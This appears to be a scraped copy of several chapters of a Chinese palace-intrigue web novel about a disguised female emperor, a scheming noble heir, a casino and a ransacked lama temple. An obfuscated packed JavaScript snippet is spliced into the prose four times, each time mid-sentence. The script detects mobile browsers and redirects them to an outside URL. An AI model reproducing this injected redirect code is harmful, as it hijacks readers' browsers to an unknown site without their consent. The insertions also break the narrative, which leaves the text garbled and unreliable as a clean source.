林臻作揖后抬头装出一副才看到顾北辰的样子玩味地挑起眉头问道:“呦?这不是顾兄嘛昨天怎么没参加陛下寿宴啊?” 顾北辰嘴角一抽。 妈了个巴子的你TM明知故问! “昨天因些小事耽搁了。” “既然是小事怎能耽误陛下的寿宴呢?想来顾兄仗着恩宠是越来越不把陛下放在眼里了啊。” 慕容嫣放下朱笔美目微瞪:“林臻你不要挑事!” 林臻笑嘻嘻的不以为意。 慕容嫣转头看向顾北辰说道:“顾院判你先回去休息吧明日再来。” “啊?” 顾北辰愣了。 什么意思啊? 林臻一来就把我踹到一边。 你这个狗皇帝真够狗的! “你还有什么事情吗?” “额没有。” “那就回去吧朕有事情要问林臻。” “臣遵旨。” 顾北辰作揖缓了好几秒才直起身子走下龙台随即恶狠狠地看了看林臻。 林臻和他对视双方谁都不曾后退半步最后顾北辰说道:“真有你的。” “顾兄客气了回去继续办你的小事儿吧。”林臻露出一丝鬼魅的笑容盯着顾北辰走出殿外。 顾北辰离开慕容嫣明显长舒口气对林臻招招手:“林臻你过来。” “是。” 林臻走到顾北辰的位置上。 从这一刻开始 慕容嫣问道:“林臻你什么时候懂这么多东西了?又是算学又是作诗的以前朕怎么没发现呢?” “回陛下臣一直都懂这些年只不过韬光养晦想帮陛下除去身边奸佞而已。” 慕容嫣饶有兴趣地挑眉:“哦?你认为谁是奸佞?” “现在还不到抽刀的时候所以臣还是不说的好。” “你不说朕也知道在你林府眼中奸佞就是顾家对吧?殊不知在顾家眼中你林府更是有造反之心。唉你们一直明争暗斗朕这个朝堂什么时候才能安静些啊。” 林臻暗暗撇嘴。 你就装吧。 顾家还不是你扶植起来的,上次当街械斗的事情就是你往死里袒护,否则顾家必定受到重创。 林臻笑着说:“陛下与其担心朝堂,不如担心担心接下来的大婚吧。据臣所知,包括顾相在内,文武百官都想着把自己闺女送入后宫呢。 这句话直接扎在了慕容嫣心窝上。 可以说大婚之事是她这段时间最头疼,也是最难受的事情。 因为阴差阳错扣子崩开,被所有官员怀疑是女儿身,如果这个时候再拒绝婚娶,将加重群臣的疑虑,届时未免对江山社稷不利。 说到底,慕容嫣心里是有社稷的,她想当个好皇帝。 但这个世界上很多事情都不是想想就能做好的,需要学习,需要实践,更需要一个可靠的帮手。 林臻就是她最可靠的帮手,可惜此刻的慕容嫣还没有意识到。 见慕容嫣不说话,林臻又提醒道:“陛下,现在朝堂中很多官员都对您的身份产生怀疑,您需要利用这个机会,来证明自己。 “哼!慕容嫣一拍龙案,厉声喝道:“真是岂有此理!身为臣子竟然怀疑皇帝的性别!这次朕非给他们生个太子出来看看! 噗。 林臻险些笑出声来。 你在我面前装模作样的有什么用啊? 放眼整个华夏,只有我一个人知道你的真实身份! “陛下不必心急,等大婚当日,臣会帮你的。 “笑话,朕需要你帮什么? “陛下不必如此,臣心里知晓。林臻的目光看了看慕容嫣那被束缚起来的大胸脯。 真是宏伟啊。 胸前一条五爪金龙被撑着鼓鼓的,有点像是要挣破牢笼的意思。 如果说刘书瑶和小翠的那里是B+,那慕容嫣就是妥妥的D,以碾压的优势获胜。 “你在看什么。注意到林臻异样目光的慕容嫣,声音顿时冷了下来,刚才对臣子的温婉全然不见,取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789218|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而代之的像是要挖出他的眼睛。 林臻这才注意到自己失态了,作揖道:“臣被陛下健硕的胸大肌所吸引,一时间不能自拔。 嬛嬛震惊地捂住小嘴。 坏了,林臻不会知道陛下身份了吧? 慕容嫣闻言,更是暴喝:“住口!林臻,你太放肆了! “陛下息怒,臣也是男儿身,虽然您是皇帝,我是臣子,但看看又何妨呢? “你 慕容嫣 真想说,我TM是个女的! 但她根本没办法说出来,在这偌大的乾国,只有嬛嬛一个人知道她的真实身份。 太贱了。 一个人怎么能贱到这个程度呢! 慕容嫣气得又有把束胸撑爆的趋势,她赶紧喝了口茶水把怒火往下压压。 面对林臻的玩世不恭,她也只能默默地把这口气咽下,别无他法。 “以后不准这么看着朕,要晓得君臣之礼。” 林臻暗笑,脸上不动声色:“是,臣遵旨。” 慕容嫣长舒口气,换了个话题:“你那个破赌场什么时候开业?可有向户部申税?” “陛下放心,臣会准时准点地把属于您的分红送进宫里的。” “你记得就好,胆敢欺君,朕就治你的罪!滚吧,烦人。” 林臻内心都笑开花了。 这次的试探已经得到结果。 那就是慕容嫣开始接纳林家了,之后的路会更加好走,也方便自己的下一步计划。 林臻轻轻作了个揖,转身离开议政殿。 慕容嫣盯着他的背影,攥紧粉拳:“这个林臻,眼睛倒是毒辣。” 嬛嬛焦急地问道:“陛下,他不会发现什么了吧?” “不会。否则他早就用这件事情和朕谈条件了。只是这个人玩世不恭,又丝毫不在乎礼仪,真是让人气恼!以后和他在一起得万分小心。” “陛下干脆不让他进宫不就好了嘛?”嬛嬛还在因为顾北辰的事情而有些吃醋。 北辰多好啊!陛下怎么就瞎了眼看上林臻了呢! “不行,顾北辰现在已经开始对朕说谎了,这样的臣子,绝不能用!” 第86章 弥勒佛亲自给赌场看大门 心情极好的林臻带着马仔离开皇宫。 这次慕容嫣大婚是个机会,也是自己和她挑明关系的契机。 在原书中,慕容嫣因为连日不和妃子行房导致百官越来越怀疑她的身份。 直到三个月后乾楚大战爆发,众人才转移注意力。 也是在这个时候顾北辰发现了她的真实身份,替她把进宫的妃子们伺候个遍,加上得知消息的顾云霆在群臣中游说,这才让百官打消疑虑。 这次林臻就要充当这个角色,替慕容嫣睡后宫嫔妃。 力气活啊。 最近得好好锻炼身体,否则还真应承不下来。 有几天没去赌场看张俪这个小妮子了,心里怪想的。 自从来到这个世界以后,真正让他动心的女人只有两个,一个是浣碧,一个就是她。 就连慕容嫣都不算在内。 毕竟慕容嫣没有表现出对林臻的喜欢与爱慕,也没有在任何事情上帮助过他。 感情是需要培养的,喜欢是从心底发出的,爱从来都不是用嘴说说的。 林臻向来对情侣间的爱情看得很重,绝非那种见一个爱一个,爱一个睡一个的渣男。 幸好,在这个时代,男人只要有钱有能力,便可以娶很多女人。 来到赌场门口,还没进去林臻等人就被吓了一跳! 二狗吓得都麻爪了,跳着脚喊:“我的姥姥啊!谁家赌场让弥勒佛看大门啊? 几人都傻了。 就连见多识广的林臻也没见过这阵势。 只见大门口铺着红地毯,两侧放着很多鲜花,花海的尽头是两尊一模一样的巨大弥勒佛! 这两尊弥勒佛是用石头雕刻的,和房檐一边高,胖乎乎的憨态可掬,十分喜庆。 但这位可是要继承释迦摩尼佛位的真神! 谁敢让他老人家看大门啊。 林臻虽然不信佛,但他对佛祖向来是秉持着尊敬的态度,进庙门也照样焚香膜拜。 张俪这是搞什么呢? “赶紧,进去看看。言罢,林臻带着马仔进入赌场。 已经重新开业的赌场,今天几乎是人满为患。 林臻进去连个落脚的地方都没有,还是二狗和侯春在前面开路。 “让开让开! “他奶奶的,世子驾到,谁敢放肆! 赌徒们红着眼睛,才不管你世子不世子的呢,手里高举着铜钱,银两,嗷嗷呐喊。 “大!大!大! “小!小!” “天九!天九!” “嘿狗爷我这暴脾气!” 二狗抬脚想踹被林臻拦住了:“住手!在自己家的场子里打客人脑袋让胖子踢了?” “额小的知错” 四个人在人群里挤呀挤好不容易挤到柜台前边发现张俪根本不在。 林臻问阿文:“阿文俪儿呢?” “世子!您来了!”阿文对见到林臻很高兴他回手指了指楼上:“老板在楼上休息呢是您上去还是小的请她下来?” “不用了我上去吧。” 在这也没地方说话上楼也好。 于是林臻给二狗、侯春韩忠三人一人发了十两银子。 “自己去玩会儿。” “得嘞谢世子赏!” 输了也是进自己家的账左手倒右手又能收买人心林臻很乐意干。 其实早在昨天张俪就派人报告说马车已经全部准备完毕就等安装马匹了。 五百辆车可不是小数目最起码得有地方搁置后世的想建个五百车位的地上停车场也得需要很大地方。 不过林臻过来的时候并没有看到马车想着等下找张俪好好问问。 阿文引领的林臻来到三楼这里是张俪休息接待贵宾的地方。 面积不大但胜在雅致想来顾家以前也是经常在这里招待客人的。 推开包厢的门就见到张俪一个人正半躺在榻上没有脱鞋将脚搭在床边闭着眼睛睡得很安稳。 听见闷声她睁开眼睛正看到林臻走进来。 她忙坐起身露出淡淡笑意:“世子你来啦。” 那声音中透露着惊喜林臻点点头来到桌边坐下。 张俪起身给她倒了盏温热的茶水林臻喝了一口放下茶盏问道:“可是累了?” “嗯昨天为了开业的事情一直在忙好不容易逮到机会休息一会子。” “你可以多雇些人也省得这么辛苦。”< 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“那怎么把弥勒佛都搬回来了,还两尊一模一样的?” “嗐。”张俪语气中有几分无奈:“本来跟和尚谈好了价格,马车都已经推进去了,但差了几个车位,于是妾身便把最占地方的弥勒佛搬走了。可是那么大的佛像也没地方搁,正琢磨怎么办的时候,就看到胖爷带着十几个士兵从东市那边过来。” “胖爷看到妾身在指挥下人搬佛像,就说这东西他在别的地方看到过。妾身觉得正巧,于是让胖爷把弥勒佛搬走。但胖爷不同意,说我们赌场正好缺两个看大门的,于是带着兵丁去了城北的喇嘛庙,把他们的弥勒佛给抢了回来。” “噗”林臻一口茶水就喷了出去! “你说什么?这弥勒佛是在喇嘛庙里抢来的?” “嗯”张俪点了点头,“还打死打伤了十几个癞头和尚呢。” 我的姥姥啊。 喇嘛庙! 那TM不是皇帝上香的地方吗? 胖子啊胖子,你一天不惹祸能死是不是? 第87章 世子,你先放妾身下来 林臻之所以震惊,不是因为亵渎神灵,而是这喇嘛庙乃大乾开国皇帝赐名,历代君王焚香参拜的场所,就连慕容嫣登基的时候也曾去过庙里焚香祈愿。 把皇帝参拜的弥勒佛抢回来给自己家赌场看大门,这种事情也就王胖子能干出来。 唉,也不知道慕容嫣听说这件事情后得气成什么样子。 不过话又说回来,慕容嫣这信息差未免也太大了吧? 前天晚上发生的事情,今天还不知道? 还是说有人故意将这件事情给瞒了下来呢? 林臻隐隐觉得事情有些不对。 对于藏传佛教他知之甚少,原书中也并没有对这间庙宇多做介绍,只是通过融合的记忆知道些大概而已。 罢了,想了想不通。 自己还是先稳坐钓鱼台,静等事态发展吧。 张俪轻移莲步与林臻并肩而坐,双腿并拢,微微侧向一侧,姿态中透露出无尽的温婉与风情,说道:“世子,妾身最近听说了一件事情。” “什么事?”林臻的目光温柔地落在她身上,语气中带着几分好奇与关切。 “是关于四海商号、金鹏粮铺以及江南布庄的动向。妾身听闻,这些商家近期纷纷抛售存货,且价格之高昂令人咋舌,导致平民的粮食价格也水涨船高。妾身觉得这里面有问题,你在宫里就没听说什么小道消息吗?” 对待张俪,林臻是直言不讳:“辽东有洪灾,所以顾家在大肆采买。” “呵,难怪。”张俪勾起淡淡冷笑,语气幽怨的道:“看来顾家又要大赚一笔了,可怜那些百姓。” “王爷已经派人去跟踪调查了,只要有确凿的证据,我就能趁此机会将顾家打入深渊。” 张俪颇有些担心的道:“可是陛下是不会让顾家完全覆灭的,因为他需要利用顾家来牵制林家。” 林臻缓缓言道。 “明眼人都知道,顾家之所以能牵制林家是因为林家没有造反之心。否则就凭顾家那几张嘴,能抵得上二十万大军?皇帝明白其中道理,所以想借助顾家的手一点一点瓦解林家兵权,目前来看还有些效果,至少龙骧营里就有很多摇摆不定的士兵。” 张俪闻言,微微颔首,静默倾听,眸中闪烁着深思之光。 林臻喝了口茶继续说道:“陛下是个想做明君的皇帝,所以他不想让林家的势力威胁到他。但如果顾家正事儿不干,一味地残害百姓,贪污受贿,搞得大乾乌烟瘴气,他也是绝对不会允许的。” “顾家的任 务是牵制林家瓦解兵权。而我的任务就是让顾家在皇帝心里的印象跌入谷底转而与林家合作。” 言及此处林臻眼睛里放出道道精光一把将张俪抱到自己腿上。 “啊!世子!”张俪惊呼。 氛围瞬间变得微妙而深邃。 林臻却不为所动两只手不经意地掠过她胸下最后搂住她的纤腰。 “只要君臣一心那大乾将会在我的带领下称霸中原。而你我的就是王妃。” “世子.您先放我下来”林臻说了什么张俪根本没听进去。 林臻不放手。 软软的身子抱着正舒服呢。 “别动!我告诉你个方法可以让赌场更高效地经营也可以增加收入。” “嗯。”张俪用蚊子般的声音点了点头一双杏眼根本不敢去看林臻。 林臻右手搂住纤腰左手捏住她的脚踝趁势伸进裙摆裤脚里在她那光滑没有一根汗毛的小腿上来回摩挲。 张俪浑身像触电似的 “我们可以找人制作一些木质筹码圆形方形都可以。前面是数额后面是英雄二字的招牌。筹码可以换成五十文铜、一百文铜、五百文铜的数额白银就用五两十两五十两一百两一千两的面额。黄金可以兑换等价的白银但不能兑换黄金筹码。” “顾客想在我们赌场里玩必须先在柜台换取筹码不得用现银、铜钱下注。同理顾客也可以用筹码换现银。如此一来我们赌场就有了自己的货币这里外里一倒手每天就会多增加几千两银子的流水你可明白了?” 张俪眯着美眸贝齿咬住下唇长长的睫毛扑闪着思绪早已魂游天外不知所云。 林臻抽回手在她的裙摆上蹭蹭张俪这才回过神来怪嗔地看着林臻嘟起嘴巴:“世子您好过分。” “哈哈哈哈等下我会让曹雄把五百匹马送进城这件事情还需要你多多帮忙喽。” “且我才不管呢。”张俪翻着白眼索性也不挣扎大大方方地坐在林臻腿上。 说来也对两分钟的时间里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789220|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被林臻摸了个遍再扭扭捏捏地反而做作。 林臻以为她是在耍小脾气捏了捏她的小脸蛋说道:“别生气就当帮帮我。” “不是妾身不帮而是赌场的事情已经很多了。再加上一个马车队妾身分身乏术忙不过来的!您好歹得让妾身睡个安稳觉吧。” 林臻微愣:“真不接啊?这可是个赚 钱的买卖。” “妾身要那么多钱做什么?赚来赚去,还不都是给咱家打工。” 好家伙,这两分钟不白忙活啊。 一下子成咱家了! 林臻暗爽地点点头:“好吧,那我再找别人。来,我们香香一个~香完该回去了。” “哎呀,世子.” 张俪似有若无地推了推林臻的胸膛,没推开,任由他那张帅气的脸离自己越来越近。 瞬间,张俪闭上了眼睛,等待着神圣的时刻来临。 然而就在此时,这个时候,包厢的门突然被敲响。 “咚咚咚!” “嫂子,借点钱!他奶奶的,胖爷刚才又输没了!” “.” “.” 林臻和张俪都是一脸黑线。 多美好的氛围啊,直接让胖子打断了。 林臻放下张俪,怒气冲冲地开门,就见胖子带着芦德豪还有孔武,刘海柱几个小马仔站在门外。 林臻不由分说,揪住胖子的脖领子就往外走。 “诶诶诶!大哥!误会,误会啊!我不知道你在嫂子房里!” “少废话,跟我走。” 芦德豪见两人走了,自己也跟上去。 三人来到大街上,林臻没好气地看着胖子,刚要骂,就听后者说道:“哎呀大哥,这两天我可没少帮你办事,输点钱怕什么!” 芦德豪也跟着帮腔:“就是啊大哥,胖爷才输了六百两,对我们这样身份的人来说,区区几百两银子还叫钱么。” 胖子被林臻揪住头发,还痴痴地和芦德豪傻笑呢:“对你来说不叫钱,但对大哥来说那就是巨款啊!哈哈哈哈。” “对啊,我怎么忘了,大哥是个穷鬼!哈哈哈哈哈。” “住口!”林臻虎着脸骂道:“谁TM问你钱了?赶紧说,这两尊弥勒佛是咋回事!” 第88章 这章字数多... 胖子浑不在意地摆摆手:“嗐,就冲我大哥的名头,就凭我大哥的名头,就算是请如来佛祖来守门,那也是绰绰有余嘛!” 芦德豪同样一脸困惑:“就是啊,大哥,你咋也开始信这些神神鬼鬼的了?” 这哥俩可真是蛇鼠一窝,沆瀣一气。 林臻气得火冒三丈,猛地一脚踹在胖子那厚实的肚皮上。 没成想胖子稳如泰山,林臻自己却差点被这股反作用力给掀了个跟头。 胖子眼疾手快,一把将他拽稳。 林臻怒吼道:“我TM问你是从哪来的!说!” “大哥,发生什么了?” 两人见林臻脸色不对劲,都有些摸不着头脑。 芦德豪挠了挠头:“昨天我们拦着顾北辰不让他参加寿宴,后来寿宴结束我们就准备回家了。哪知道看见嫂夫人在搬弥勒佛。胖爷就说把喇嘛庙里的弥勒佛也搬过来,正好给咱赌场看大门。” 胖子接过话头,嘴角勾起一抹不屑。 “这群臭喇嘛给脸不要脸!胖爷难得和风细雨地去谈,他们倒好,硬说那弥勒佛是他们家的宝贝,不肯撒手。这也就罢了,还调集一群武僧要动手。他奶奶的,胖爷我在四九城里混了这些年还没碰到过这么没面子的事情,索性就带着龙骧营把他喇嘛庙砸了,弥勒佛抢回来立在赌场门口。” 他边说边得意地晃了晃脑袋,手指还往门口一指,那些赌得正欢的赌客便成了他的佐证:“你看,有两尊佛祖看大门,这生意就好多了吧?” 林臻不由得皱起眉头:“难道你就抢了一个弥勒佛?” “嘿嘿嘿,”胖子得意地笑着,眼神中闪烁着狡黠的光芒。 “还是大哥了解我!胖爷还顺手把他们供奉的舍利子也抢了回来,听说这玩意能辟邪,我就特意把它塞裤裆里了,图个安心。” 说罢,胖子便开始在他那圆滚滚的肚皮下摸索起来,动作显得颇为滑稽。经过一番折腾,他终于从裤裆里掏出三颗色彩斑斓的舍利子。 林臻险些把眼珠子瞪出来。 林臻见状,眼珠子差点没瞪出来,一脸惊愕地喊道:“你可真是我活爹啊!!” 这TM可是佛教最圣洁的东西,只有得道高僧圆寂后,经过火化才能烧出来。 而且,眼前的这三颗舍利子质地坚硬,色彩鲜艳,绝非凡品!最重要的是,慕容嫣去年登基的时候还亲自参拜过! 胖子就这么稀里糊涂的塞裤裆里了? 你这侮辱的不仅仅是佛门,还有皇家啊 ! 不对! 喇嘛庙是整个大乾京城的圣地,参拜过的不仅仅是皇家,还有许许多多的官员大臣。 别的不说,光是顾家就每年都要去四次。 林臻冷汗都下来了。 胖子这回真的捅了马蜂窝了! 此举几乎得罪了大乾上上下下所有官员,哪有城中那些虔诚信佛的百姓! 如果被慕容嫣得知肯定雷霆震怒,其怒火恐怕就不是一个大将军能抗住的,就算林震仙愿意帮忙也只会引火烧身! 那为什么到现在慕容嫣都不知道呢? 林臻无暇去责备那两个成事不足败事有余的纨绔,他紧锁眉头,语气中带着几分急切:“胖子,你什么时候抢走的弥勒佛?” “前天晚上啊。” 林臻指着舍利子,眼神中满是难以置信:“这可是佛教圣物!喇嘛就没找你拼命?” 胖子依旧摆着他那京城一霸的架势,唾沫横飞地吼道:“他们敢!奶奶个腿的,胖爷不杀女人,可没说不杀和尚!这敢找死,胖爷就带兵屠了整个大乾的寺庙!” “不从事生产、不缴纳税贡,成天花言巧语,骗吃骗喝地坑害老百姓,胖爷早看他们不顺眼了!” 胖子说得义愤填膺,全然没有意识到事态的严重性。 这个时候,林臻反而冷静了下来。 如果不出意外的话,这个消息应该是被顾家封锁了。 因为在大乾,除了林家以外任何家族都没有这么大的能量,也没可能和信教的喇嘛达成合作。但林震仙也是讨厌和尚的,所以结果肯定就是顾家。 但林臻想不通,顾家这么做到底要干什么呢?该不会是想以此为筹码,逼王家策反吧? 转念一想,这绝对不可能。 王铁男的脊梁骨比林震仙软不了多少,绝不会轻易为外界所动,更不会为了区区一个把柄背弃自己的信念。 那顾家做这种费力不讨好的事情,意义何在呢? 一连串的问题让林臻有些摸不着头脑。 恰巧在此时,王家有兵丁跑过来,看到胖子就像看到活祖宗似的,上气不接下气的说道:“胖爷,大将军生气了,正拎着马鞭等你回去呢!” “啊?”胖子嘴角一抽,腿肚子直转筋。 “胖爷不就打死几个秃驴嘛,不至于吧?” “小的也不知道,您赶紧回去,回去晚了这事儿就大了!” 林臻也说道:“胖子,先回去看看,明天在赌场碰头。” “嗯。” 胖子顿时什么心情都没了,蔫头耷拉脑的根本兵丁往回走,估计一顿狠揍免不了了。 天蓬大将军王铁男,其英勇之名仅次于传奇人物林震仙,堪称国之栋梁。 年岁尚未及天命,肌肉虬结,髯须如戟,武艺超群,身姿魁梧,满面络腮胡须,妥妥小熊瞎子他亲爹的模样。 尽管外貌粗犷豪放,他却深得林震仙真传,性情淡泊,志存高远。 不争名,不夺利,更不喜争斗,一心为江山社稷着想。 王家与林家一样,门楣简朴,家境清寒。因宅邸不大,人丁稀薄,相比之下,王家生活略显宽裕,少了些捉襟见肘之苦。 但也架不住胖子这败家子的挥霍。 今天,王府迎来了一位客人,同时也是王铁男最不想见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789221|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的人。 顾南山。 这位臭名昭著的顾府大管家。 顾南山身着一顶古朴斗笠来到将军府,彼时,王铁男方自朝堂归来,正沉浸在书房的幽静之中苦读兵书。 闻得下人轻声禀报,他才缓缓放下手中的书卷,步入了会客厅。 刚刚进门,便见顾南山端坐于客座之上,身形稳如磐石,不动分毫。 王铁男的眉头不经意间微微蹙起,声音中带着一丝不易察觉的厌恶,低沉而浑厚。 “哦?原来是顾大管家亲临,此番何以如此装扮,光临敝宅啊?” 顾南山闻声,连忙起身,以一个恰到好处的弧度躬身行礼,言辞恭敬而不失谦逊:“大将军在上,老奴这厢有礼了。” 王铁男摆了摆手,语气中带着几分淡然与疏离:“礼数就免了,老夫可承受不起你的大礼。有事儿就说,没事送客。” 顾南山未有丝毫恼怒,反而嘴角勾起一抹令人心生寒意的轻笑,声音诡异:“呵呵呵,大将军啊,你我之间也算是数度春风照面,怎的今日却如此冷淡?老朽此番前来,是给大将军报喜的。” “老夫何喜之有?” “老奴特来恭喜大将军,府上竟有如此英勇非凡的公子。前夜砸了喇嘛庙,还抢走三百年历史的圆寂大师舍利子,以及一尊弥勒佛像。”顾南山的话语中带着几分戏谑, “什么?”王铁男闻言,眉宇间猛地一跳,一股难以名状地涌上心头。 这个臭小子,简直是无法无天! 喇嘛庙也是你能砸的? 顾南山一望见王铁男那神色,便知此事他定是毫不知情。 于是,他的语调愈发不客气起来。 “大将军无须慌张,老奴已着人前去与那些喇嘛交涉,如今这事还未惊动陛下。只是不知大将军打算如何谢我呢?” “谢你?呵。”王铁男冷哼一声:“吾儿做错事情自然要接受惩罚,就算你不与喇嘛达成和解,这件事情老夫也会上报给陛下,请陛下决断!顾南山,你妄想以此事要挟老夫,未免打错算盘了。” 顾南山不解:“大将军,此事明明有转圜余地,悄无声息地解决岂不更为妥当?为何定要将其闹得满城风雨呢?” “因为老夫不想便宜你这种狗奴才,管家,送客!” “你!” 顾南山万万想不到,自己的精心策划竟然会得到这么个结果! 天下间居然有不疼儿子的父亲? 还是说王铁男认为这件事情仅凭他一个大将军就能承受住陛下的怒火? “大将军,如果这件事情让陛下知道,胖子可就前程尽毁了!” “天子犯法与庶民同罪,更何况是我王铁男的儿子?再者,小宇向来敢作敢当,不需要你这奴才帮忙掩盖事实,老夫这就进宫,奏明圣上!” “你!当真是冥顽不灵!” “哼。” 顾南山一拂衣袖,大步离开。 第89章 用108个处女做交易 踏出顾府雕梁画栋的门槛,顾南山还在想着刚才的事情。 王胖子在喇嘛庙的一场大闹,犹如在大乾朝堂那片本就暗潮汹涌、波诡云谲的水面上,猛然掷下一枚巨石,激起一圈又一圈震撼人心的涟漪,令那本就摇摇欲坠的权力天平再次雪上加霜。 此事一旦曝光出来,他得罪的将不仅仅是皇权的雷霆之怒,更有那千千万万信徒如潮水般的失望与愤慨。 而顾南山与喇嘛庙的堪布关系匪浅,在得知这件事情后亲自出马,才勉强将其压了下来。 为此,他也付出了很大代价。 不过对他来说,这样做是值得的,因为他可以利用这件事情作为筹码,与王铁男商议合作。 顾南山希望王铁男可以帮他办一件事情,事成之后王铁男就算彻底绑在了他的战车上。 日后等他篡权夺位之时,王铁男将是他手中不可或缺的一枚关键棋子。 谁知道王铁男的清高比起林震仙来有过之而无不及。 这不禁让顾南山心头火起,恼怒异常。 如此一来,自己这两日的奔波劳碌,岂不是白忙一场? 顾南山心中沉甸甸的,步伐不自觉地迈向那座古朴庄严的喇嘛庙。 喇嘛庙刚经历一场大火,四处都在修缮。 方至庙门,一抹鲜艳的大红袈裟便映入眼帘,正是喇嘛堪布,清远大师。 他正静静地伫立于门槛之外,身披一袭绚烂如火的袈裟,双手轻轻合十,眼中透着几分超脱尘世的宁静。 “阿弥陀佛,南山师弟为何愁眉苦脸?可是在将军府无功而返?大师的声音温和而深沉,如同山间清泉,缓缓流淌过心田。 顾南山闻言,不由自主地叹了口气,眉宇间的褶皱更深了几分:“唉,这王铁男是个硬骨头,宁可让自己儿子挨罚也不与我合作,真真是气人。 清远大师闻言,又轻轻诵了一声佛号,那光洁的头顶在阳光下泛着柔和的光泽,仿佛能映照出人世间的一切烦恼与执着。 “既如此,师弟答应贫僧的条件何时兑现? “不就是一百零八个处女么,半个月之内,我会派人送到庙里。不过.清远师兄,我还是要奉劝你一句,拜火教那帮人狼子野心,与他们合作绝非好事。 “阿弥陀佛,多谢师弟提醒。言罢他轻轻转身,步伐从容地迈向庙内深处,仿佛他此刻立于此地的唯一目的便是等候顾南山的到来。 顾南山目光紧随其背影,那双三角眼在昏黄的光影下微微眯起, 透出一股不易察觉的审视之意。 拜火教是波斯的国教却突然出现在大乾并且已经在城东建造庙宇了。 也不知道清远大师到底要干什么竟然用一百零八个处女和他们做生意。 是否该派人暗中留意一番? 顾南山轻轻一挥衣袖只见琉璃塔后悄然步出一名身着仆役衣裳的少年。 他趋步上前对着顾南山恭敬地行了一礼轻声道:“主公。” “你且留意那些喇嘛的行踪探清他们与拜火教究竟有何图谋。” “遵命。” 这件事情从始至终都是由顾南山一手操控的。 林臻对此浑然不觉误以为此乃顾云霆的暗中筹划所以回去的路上一直在思考他这么做的用意是什么。 曹雄早先已策马扬鞭疾驰城外估摸着晚间便能把五百匹战马送进城内再有两天的时间马车公司就可以正式运营。 热闹的集市于林臻而言是幅永远都看不够的繁华画卷。人潮涌动间商贩此起彼伏的吆喝 在这熙熙攘攘的人流缝隙里林臻悠然穿行仿佛每一步都踏在了这尘世最真实的脉搏之上。 在那座隐匿于繁华街巷末梢的酒楼之下林臻看到了一个熟悉的身影。 毛梦极。 此刻身着粗砺的麻布小厮衣裳汗水如同细雨般涔涔滑落浸湿了他的衣襟。他正奋力推动着一辆满载沉重酒坛的独轮车踉跄着步向酒楼幽深的后院。 上次因为当街械斗的事情慕容嫣一怒之下剥夺了他所有的职位与权力贬为庶民。 而顾云霆也因为他不会说话心生嫌隙最终将他逐出了顾府不再胜任府兵统领一职。 那位曾经英姿勃发、意气风发的少年将军竟在这场权谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789222|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的博弈中不幸沦为牺牲品境遇急转直下落魄至需在酒楼打杂以维持生计的凄凉境地。 “来来来劳烦各位让一让让一让!”他边吆喝着边穿梭于熙熙攘攘的人群之中。 “哟这不是小毛嘛咋干起这活儿来了?”一位熟识的大婶惊讶地喊道。 “我记得你从前可是在丞相府里当府兵统领的威风凛凛得很呐!” “莫非是特地来体验这民间疾苦的?哈哈开个玩笑可别往心里去啊!” 街坊邻里对毛梦极向来颇有好感见他如今这番模样纷纷上前打招呼言语间满是关切与不解。 毛梦极轻 轻地将车放下,朝四周的人群抱以温和一笑,眼中闪烁着几分释然:“诸位有所不知,前两天犯了错误,惹恼了丞相大人,结果被逐出了府邸。往后啊怕是要倚仗我那姐姐度日了。在此,也恳请各位邻里多多照应,梦极感激不尽!” “嗨,说这些见外的话干啥!咱们邻里之间,还用分你我么?瞧你这样子,怕是饿了吧?来来来,上婆婆家去,管饱!”一位慈祥的老妇人热切地招呼着。 “你家有什么好吃的啊?梦极啊,来叔叔这儿,叔叔给你做红烧肉!” “放心,有咱们在,你小子绝不会饿着肚子!就在这酒楼里好好干吧!”周围的街坊纷纷附和,言语间满是温情与鼓励。 如此一番话,让毛梦极心中涌起一股暖流,他再次抱拳,眼中闪烁着感激的光芒。 林臻静立于不远处,耳畔回响着街坊邻里的谈笑声。 他不时颔首,眼中闪烁着赞许之光。 